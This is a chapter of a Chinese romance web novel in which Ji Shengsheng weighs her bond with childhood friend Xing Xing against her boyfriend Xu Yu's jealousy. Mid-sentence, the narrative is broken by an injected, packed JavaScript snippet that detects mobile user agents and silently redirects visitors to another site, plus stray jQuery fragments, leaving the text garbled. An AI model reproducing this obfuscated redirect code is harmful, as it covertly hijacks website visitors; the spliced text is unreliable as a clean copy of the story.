纪声声没有立刻搬来和许余一起住，只是暂时先住几天。


    她打算看看她这种自由职业的作息和许余的工作作息能不能合得来。


    如果不能十分合适的话，还是偶尔过来住一下比较好。


    把这个想法告诉许余以后，许余只是沉默。纪声声理解为是默许而不是不同意。


    很快她就推翻了这个想法。


    没有什么比他们在一起更合适的了。


    他们在生活上，在任何方面都十分契合，如果不考虑饮食的话。


    不过，纪声声发现，许余似乎不再盯着她吃饭，而是在她目前喜欢吃的东西上做文章。


    只一周，她就吃到了好几种好吃的面包和牛肉。


    尽管她对水果和零食毫无兴趣，但偶尔一起在沙发上看剧，也会接受许余递来的食物。


    这种无言地投喂让她在两周时间内迅速涨了两斤。


    许余对这个结果很满意，又带她去逛街买衣服。


    “……你的主业好像是养胖我和打扮我。”这天许余下班，看着他带回来的烤牛肉食材，纪声声跳进他怀里，“副业才是上班。”


    “不是每天晚上喊哥哥？”许余抱着她，走到厨房，又将牛肉放进冰箱。


    “既然是哥哥当然要养你、打扮你了。”


    纪声声看着许余抱她到卧室，想起有正事要和他说，便挣扎：“但是哥哥不会和我……”


    “这个哥哥会。”许余指了指自己心脏的位置。


    纪声声：“……”


    做过手术以后，好像变得都不会累了……


    “……你……怎么这么厉害。”纪声声没忍住抓了抓他的头发。


    “嗯？”


    “……好厉害。”


    “……乖。”许余安抚地，“哥哥会让你满意的。”


    结束后，她累得忘记了要和许余说的事情。


    到下午她醒来时，许余已经回公司处理工作了。


    纪声声看了看手机，邢星给她发的消息她还没想好怎么回。


    然后，她看到旭林发来的图片。


    旭林已经收到她邮寄过去的画册还有周边的样品。


    她没想过旭林还额外买了几份。


    “爱在哪里，钱在哪里！”旭林发了好多条朋友圈和微博炫耀买到的周边。


    纪声声想起她还没有给粉丝送过什么礼物。


    从官方购买渠道下单以后，纪声声上微博去抽奖。


    研究抽奖程序的过程中，她时不时会看到消息提醒。


    她一直不知道，原来合作周边的反响有这么好。


    很多不玩游戏的人也来购买。


    她的账号从没有这么热闹。


    发布了抽奖的微博以后，纪声声就赶忙下线继续去画画。


    新系列的漫画她筹备差不多了。


    许余离开不到两个小时就回来，纪声声正在洗澡，吓了一跳。


    “……不穿衬衣了？”


    “不不不。”纪声声裹紧开衫，狂摇头，“我有件事情想和你说一下。”


    许余抱着她：“嗯？”


    “邢星的奶奶过生日……”纪声声迟疑片刻，还是决定直接说出来，“本来这个事情是很正常的，但是邢星最近和我说话有一点奇怪，让我有些不太确定。”


    邢星倒是没有直接找她说什么。


    就是时不时发一些以前的合照给她看，还找到了小学时在人人网的互动截图给她。


    纪声声感觉莫名其妙。


    几次督促邢星让他去找点正事做，但都无效。


    他们之间的关系由于邢星单方面的操作变得莫名地暧昧。


    虽然她并不觉得邢星是喜欢自己，多半是最近想找对象但苦于没有合适的，才会就近找她发疯。


    ……如果他们只是单纯的朋友关系，那么一起给奶奶过生日，见面倒都没什么问题。


    现在这样的话……


    给许余简单描述了一下发生的事情和感受。纪声声看着许余的表情变得凝重。


    “你说过，你们有很多共同的过去……和我不知道的默契。”许余声音低沉而落寞，“声声，如果他也喜欢你，你会选他吗？”


    “我当然选你……”虽然邢星也没有要她去选，“无论什么时候，我都选择你。”


    “是么？”许余抚摸着她的脸，“我对自己没有你这么有信心。”


    纪声声从没见过许余这样，都有些不知道怎么办好。


    “许余……”


    “成玉找我有事，我晚上要出去一下。”


    许余沉默很久以后，她听见许余说道。


    “好，那你早点回来。”纪声声松开环着他的手。


    看着许余离开，纪声声苦恼地在床上翻来覆去。


    其实，正常的情侣也不会像他们这样每天除了工作就黏在一起。大家都有朋友，需要社交。许余去找成玉，也很正常。


    只是在这个时候，让她有些不安。


    祝晓丹找她来拿周边，纪声声打开门让她进来。


    “你怎么看起来这么沮丧？”


    祝晓丹惊讶地：“你不应该正沉浸在幸福中吗？”


    纪声声把今天发生的事情讲给祝晓丹。


    “你的意思是，邢星对你态度暧昧，你还要去他家给他奶奶过生日，”祝晓丹简直更惊讶，“与此同时，许余很受伤地要出门，你还真的让他离开了？”


    纪声声：“啊？”


    ……是这样总结的吗？显得她好像是个无知的坏人。


    “声声，老实说，我可能旁观者清，也可能是视角有限，邢星对你一直就是很不一样啊？”


    他们三个是初高中同学，虽说大学以后不太清楚，但至少那六年如何，祝晓丹还是和他们共同度过的。


    纪声声：“……我觉得完全没有啊？”


    “怎么形容呢？”祝晓丹绞尽脑汁，“就是你们两个站在一起，虽然没有牵手啊，没有什么暧昧的举动……”


    “但是就很容易让别人觉得你们要不就是兄妹，要不就是一对。”祝晓丹想形容的更细致一些，又补充，“就算你们是兄妹，我也怀疑你们私底下偷偷搞骨科。”


    纪声声：“……？”


    “怎么会？”纪声声手上拿着的本子都掉到了地上。


    “不知道你们怎么相处出这种感觉的……”


    祝晓丹想起很多事情：“有一段时间邢星虽然经常去别的女生那里耍贫嘴，但是你看啊，擦黑板、拖地这种值日他只帮你，上下学骑车只带你，还给你带早饭……”


    “你记不记得有一年暴雪，他还帮你扫雪，手上还长冻疮了。”


    纪声声点头。她记得。


    “邢星就很像那种只会对别人好，但是脑子里缺一根弦儿的男生。”


    “在你喜欢许余之前，我一直以为你们两个早晚会在一起的。”


    纪声声沉默。


    ……原来在别人的视角竟然是这样吗？


    “你怎么啦？”祝晓丹以前都没说过这些。


    会说出来，也只是怕纪声声做错决策，影响她现在的幸福。


    她看着纪声声和许余一路走来不容易，所以作为朋友才会说这么多。


    虽然祝晓丹一直是站邢星比较多，她从内心里会觉得青梅竹马更靠谱。


    而且……许余外表太过招眼，尽管为人比较低调，但是这种男人在外面，总归让人不太放心的。


    但事已至此，祝晓丹感觉得到纪声声在坚定地选择许余，那她就会站在号朋友这一边。


    “有一点难受。”纪声声抱着膝盖窝在沙发里。


    “哎，”祝晓丹赶紧过去安慰她，“声声，对不起，我说这些不是想让你难受的……”


    她知道。


    她只是在想，对邢星，她好像不自觉地占用了很多年他的人生，还像无事发生一样。


    对许余……


    如果祝晓丹的视角里她和邢星是这样的，那那些被许余看到的时刻呢？


    误解和痛苦只会翻倍吧？


    她想起许余在她耳边发出的那些质问。


    只要她和邢星保持关系一天，对许余来说，痛苦只会加重一天。


    ……那时候她只觉得自己委屈，没想过许余在经历什么，忍受什么。


    “声声，你是不是觉得对不住邢星？”祝晓丹觉得自己真是越帮越乱，“你可千万别这么想，你对他怎么样，我们看在眼里，他自己心里也有一杆秤。”


    邢星初中的时候又矮又瘦，被男生集体孤立，都是纪声声陪着他。


    甚至有一些男生会故意造谣他们两个有关系，纪声声也没有因此就不和邢星一块玩了。


    邢星的父母关系不好，初中开家长会的时候经常两个人都不来。很长一段时间，总是有人议论邢星，每次都是纪声声去伸张正义。


    初中三年，纪声声是邢星的小卫士。到高中以后，邢星个子长高，人也出落的人模狗样，性格外向起来，朋友也多了。


    偶尔邢星和人打架，还是纪声声收拾完烂摊子带他去医务室。


    细细数来，他们对对方的付出都很多。


    能够彼此照料、相互托住对方，只不过是没有做情侣的缘分。


    陪纪声声待了一会儿，确定她情绪平稳，心情也没有不好了，祝晓丹才离开。


    到楼下，祝晓丹看着楼上纪声声房间亮着的光。


    她不敢跟纪声声说，她初中的时候还嗑过纪声声和邢星的CP，那是她嗑CP的启蒙。


    不过，到高中，邢星性格外向了，总是四处招惹学校里身材特别好的女生以后，就幻灭了。


    不管是阴差阳错，还是没有缘分，她都更希望纪声声保持住现在的幸福状态。


    怕自己说错了话，祝晓丹忍不住叹气。


    祝晓丹走了以后，纪声声就给许余打了电话。


    许余没有接，她又给成玉打。


    “声声给我打电话？”成玉感觉莫名其妙，看着许余，“接吗？”


    许余点头，示意他接。


    “对，和我在一起呢，一会儿我送他回去，放心。”


    成玉挂了电话，看着坐在他对面的许余，纳闷儿地：“你怎么今天又有时间找我来了？”


    过去几年，每到过年的时候，总有一两天他会和许余一起，去健身也好，和朋友聚餐也罢，一直保持着那样的习惯。


    结果纪声声一回来，许余直接消失。还是因为工作，他们才见了两面。


    等过完年，纪声声留在桃源，许余自己回了潞城，除了工作时间，他还是见不到人。


    前一周有一天他好奇许余在家里究


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644546|186519||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    竟在做什么，跑到许余家里一看，好家伙在研究做面包。


    有一瞬间成玉都以为是自己幻视了。


    然后纪声声回到潞城，许余又消失了一周。除了工作消息根本不搭理他，今天晚上他随口邀请了一下，许余居然破天荒地同意了。


    “她心情怎么样？”许余和成玉确认。


    “挺着急的。”


    许余没说话。


    “她应该给你打了你没接吧？”成玉忽然凑近，“你小子，你都敢跟声声冷战了？”


    “不敢。”


    他在赌。


    赌这一次永绝后患。


    “你干嘛？”看着许余真的拿起面前的酒，成玉差点跳起来，“我说我送你回家就是为了让声声放心的客套，你真喝多了我可背不动你。”


    许余只是抿了抿。


    成玉松了一口气：“还算你有点良心。”


    他话音刚落下，许余就闷声喝了两杯。


    成玉：“我靠，你是我爷爷。”


    纪声声问了他们所在的位置，成玉赶紧发过去一个定位。


    没过半小时，纪声声就出现在了他们面前。


    “……你喝酒了？”


    看着纪声声朝着自己走过来，许余站起身，成玉也跟着站起来，惊讶地：“你闻出来啦？”


    他不明真相，本来还想帮许余藏一藏。


    纪声声再次向许余确认：“你喝酒了吗？”


    “没有。”许余摇头。


    “怎么穿这么少？”许余把自己的外套脱下来给纪声声。


    “我担心你。”纪声声确定他没事，才稍微放下心，“你没接电话。”


    “我没事。”


    “谢谢你，成玉。”纪声声赶忙向成玉道谢。


    “没事。”成玉憋得难受，干脆揭穿许余，“他可是喝了一点的，你照顾他吧。”


    说完，就准备先撤了。


    纪声声知道成玉的意思。成玉说话一向喜欢正话反说。


    如果他说许余“喝了一点儿”，那就应该是喝了很多才对……


    “回家吗？”纪声声伸手搂着许余，又被他抓紧手腕。


    “回家。”


    打了车子，到家以后，纪声声扶着许余坐下，又好心地帮他把衣服脱掉，换上睡衣。


    喝酒以后不能洗澡，这件事还是许余提醒她的。


    纪声声拿毛巾帮他擦了擦身体，又被许余揽进怀里。


    “怎么今晚这么担心我？”


    纪声声听到许余问她。


    “我怕你不开心……”纪声声看着许余的眼睛，“对不起，是我一直以来太不照顾你的感受了。”


    “嗯？”许余给她时间让她继续说下去。


    “邢星这件事情，我会解决好的。”


    “所以……你会去？”


    “是……”


    “能不能不要去？”


    邢星的奶奶大病初愈，又度过一关，是喜事。不仅邢星，妈妈也给她打了电话，她父母都去，她不去实在没有理由，也不合适。


    “你放心，我知道该怎么做的。”


    “声声。”


    “相信我，好吗？”纪声声不知道该怎么安抚，“我不是你手心里的蝴蝶，你张开手掌，我也不会飞走的。”


    她必须要去解决邢星的事情。


    她和许余之间也要建立信任。


    毕竟，以后还要度过很多个不在彼此身边的时刻。


    许余盯着纪声声的眼睛，感觉到她非去不可的坚决。是他用尽恶劣的办法，都不能阻止的坚决。


    看着纪声声在收拾回桃源的东西，许余没有问她打算回去几天。


    对于纪声声和邢星的事情，挑破是有风险的，但钝刀割肉的感觉也令人不悦。


    尽管冒险，他还是要做。


    感觉纪声声到他身边来，许余没有动。


    “许余……”


    “声声，我不能接受你和邢星继续做朋友。”


    纪声声沉默。


    换位思考。


    如果许余有一个青梅竹马的女孩子，对他偶尔会有一些好感，她也会在意他们之间的接触的。


    以前，她以为和邢星就是纯粹的友情。对于许余的猜测和怀疑，她还可以试图解释和寻求理解。


    可现在……邢星如果对她真的有想法，他们确实没办法再做朋友。


    “我明天下午就回来，”纪声声主动报备，“明天我会给你一个肯定的答复的。”


    许余没有说话，只是看着头顶的灯。


    觉得很晃眼。


    过去两个月的亲密像在梦中，一切都很不真实。


    如果会失去，那就一刀致他于死地。


    在决定见邢星的时候，他已经做了决断。


    “许余，你有感觉哪里不舒服吗？”见他一直不说话，纪声声担心他。


    “有。”许余指着自己的胸口。


    纪声声知道他的意思。


    “我会失去你吗？”


    “许余……”纪声声肯定地，“你不会失去我的。”


    “是吗？”许余伸手搂住她，痛苦地吻她，“明天早点回家。”


    这一次。


    如果她失言……


    如果她还要和邢星做朋友……


    他就永久退出。